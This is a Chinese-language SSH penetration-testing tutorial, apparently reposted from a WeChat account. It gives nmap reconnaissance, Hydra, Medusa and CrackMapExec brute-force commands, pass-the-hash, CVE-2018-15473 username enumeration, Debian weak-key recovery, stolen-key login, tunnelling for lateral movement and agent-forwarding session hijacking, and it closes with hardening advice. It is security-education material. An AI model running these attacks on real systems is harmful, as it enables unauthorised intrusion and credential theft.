前言:为什么 SSH 攻击值得关注?
SSH(Secure Shell)是一种用于在不安全网络上建立安全连接的协议,主要用于远程服务器管理。由于 SSH 端口 22 通常默认开放,且广泛用于服务器管理,因此它成为攻击者的重点目标。
在这篇文章中,我们将深入探讨 如何利用 SSH 端口 22 进行渗透测试,包括信息收集、漏洞评估、暴力破解、漏洞利用以及后渗透攻击等关键步骤。
攻击流程概览
1. 信息收集(Reconnaissance)
-
使用 Nmap 扫描开放的 SSH 端口。 -
获取 SSH 服务器版本信息 ( nmap -sV
)。 -
通过 Banner Grabbing 提取 SSH 横幅信息。
2. 漏洞评估(Vulnerability Assessment)
-
使用 ssh-audit 检测 SSH 配置弱点。 -
在 CVE 数据库中查找相关漏洞。
3. 暴力破解与密钥利用(Brute Force & Key Exploitation)
-
使用 Hydra 或 Medusa 进行密码暴力破解。 -
利用暴露的 SSH 私钥进行认证。
4. 后渗透攻击(Post-Exploitation)
-
设置 SSH 隧道 进行横向移动。 -
劫持现有 SSH 会话。
第一步:信息收集
1. 端口扫描
使用 Nmap 识别开放的 SSH 端口(默认端口为 22):
nmap -p22 <目标IP>
2. 服务版本探测
检测 SSH 服务器版本,以便查找可能的漏洞:
nmap -sV -p22 <目标IP>
3. SSH Banner Grabbing
提取 SSH 服务的横幅信息,获取操作系统版本和 SSH 版本:
nc <目标IP> 22
第二步:漏洞评估
1. 检测已知漏洞(CVE)
一旦获取 SSH 服务器版本,可以在 CVE Details 或 NVD 数据库中搜索已知漏洞。此外,还可以使用 Nmap NSE 脚本自动扫描 SSH 漏洞:
nmap --script sshv1 -p22 <目标IP>
nmap -p22 <目标IP> --script ssh2-enum-algos
nmap -p22 <目标IP> --script ssh-hostkey --script-args ssh_hostkey=full
nmap -p22 <目标IP> --script ssh-auth-methods --script-args="ssh.user=root"
第三步:暴力破解与密钥攻击
1. 使用 Hydra 进行 SSH 暴力破解
hydra -l <用户名> -P <密码列表> <目标IP> ssh
2. 使用 Medusa 进行 SSH 暴力破解
medusa -h <目标IP> -u <用户名> -P <密码列表> -M ssh
高级攻击技术:Pass-the-Hash(PTH)
在高级渗透测试中,攻击者可能不会直接暴力破解密码,而是利用捕获到的 密码哈希 进行认证,绕过传统的密码验证机制。
1. 使用 CrackMapExec 进行并行 SSH 暴力破解
crackmapexec ssh <目标IP> -u <用户名> -p <密码>
2. 使用 pth-ssh 进行 Pass-the-Hash 攻击
pth-ssh <用户名>@<目标IP> <密码哈希>
为什么使用 PTH 攻击?
-
比暴力破解更隐蔽:不会触发登录失败的安全警报。 -
绕过速率限制:SSH 服务器通常会对失败登录进行限制,而 PTH 直接使用合法哈希进行认证。
第四步:SSH 关键漏洞利用
1. SSH 用户名枚举漏洞(CVE-2018-15473)
攻击者可以利用此漏洞分析 SSH 响应,推测系统中的有效用户名。
python ssh_enum.py <目标IP> -U <用户名列表>
2. SSH OpenSSL 预测随机数漏洞(CVE-2008-0166)
2006-2008 年间,Debian 基于 OpenSSL 生成的 SSH 密钥因随机数种子问题,导致密钥可预测。攻击者可以利用该漏洞恢复私钥。
git clone https://github.com/g0tmi1k/debian-ssh.git
cd debian-ssh
./find_key.py <目标IP> <用户名>
第五步:后渗透攻击(Post-Exploitation)
1. 使用暴露的 SSH 私钥直接登陆
如果攻击者获取了 SSH 私钥(如 id_rsa
),可以直接认证目标系统。
chmod 600 id_rsa
ssh -i id_rsa <用户名>@<目标IP>
2. 设置 SSH 隧道进行横向移动
SSH 本地端口转发
将本地端口映射到目标网络的内部端口,以访问内部服务。
ssh -L <本地端口>:<内网IP>:<内网端口> <用户名>@<目标IP>
示例(访问目标内网的 Web 服务器):
ssh -L 8080:10.10.10.5:80 [email protected]
3. 劫持现有 SSH 会话
检查现有 SSH 进程
攻击者可以查找系统上已建立的 SSH 连接并劫持其会话。
ps aux | grep ssh
利用 SSH 代理转发进行会话劫持
env | grep SSH_AUTH_SOCK
ssh-add -l
ssh -A <用户名>@<目标IP>
如果 SSH 代理已经存储了密钥,可以直接连接到其他系统,而无需再次输入密码。
总结:如何防御 SSH 攻击?
面对 SSH 端口 22 的攻击,服务器管理员应采取以下措施:
✅ 更改默认 SSH 端口(避免使用 22)
✅ 禁用密码认证,启用 SSH 密钥认证
✅ 限制 SSH 访问,仅允许特定 IP 连接
✅ 使用 Fail2Ban 或类似工具防止暴力破解
✅ 定期更新 OpenSSH 版本,修复已知漏洞
✅ 禁用 SSH 代理转发,防止会话劫持
SSH 安全至关重要,无论是企业服务器还是个人云主机,都应当采取适当的安全措施,以防止攻击者通过端口 22 入侵系统。
👉 你是否遇到过 SSH 相关的安全问题?欢迎在评论区留言讨论! 🚀
原文始发于微信公众号(HW安全之路):SSH端口22完全沦陷:5个步骤渗透测试全过程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论